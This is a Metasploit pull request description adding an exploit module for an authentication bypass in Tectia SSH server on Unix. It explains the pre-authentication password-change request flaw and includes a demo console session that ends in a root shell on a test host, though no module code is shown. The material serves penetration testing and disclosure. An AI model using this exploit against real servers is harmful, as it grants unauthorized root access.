rapid7/metasploit-framework — pull request #1123 by wchen-r7 (2012-12-04 03:16:42+00:00)
Title: Add Tectia SSH Password Change Request Exploit

This module exploits a vulnerability in Tectia SSH server for Unix-based platforms. The bug is caused by a SSH2_MSG_USERAUTH_PASSWD_CHANGEREQ request before authentication, allowing any remote user to bypass the login routine, and then gain access as root. As of now, there seems to be no official patch information by the vendor.

Note: This vuln only seems to work on Unix-based systems. Demo:

msf exploit(tectia_reset) > check

[*] 10.0.1.13:22 - SSH-2.0-6.3.2.33 SSH Tectia Server

[+] The target is vulnerable.
msf exploit(tectia_reset) > exploit

[*] 10.0.1.13:22 - SSH-2.0-6.3.2.33 SSH Tectia Server

[*] 10.0.1.13:22 - Going through keyboard-interactive auth...
[*] 10.0.1.13:22 - Authentication to continue: keyboard-interactive
[*] 10.0.1.13:22 - Password prompt: 10.0.1.13:22) at 2012-12-03 21:12:24 -0600

id
uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:initrc_t:s0

In case you're wondering what happens if you hit it against a Windows setup, well, your last message should be "Auths that can continue: 51" (meaning auth failure), and then it bails.

This is the MD5 for the Unix-based installer I tested: e3b86d30624e36aea58593947d756cd7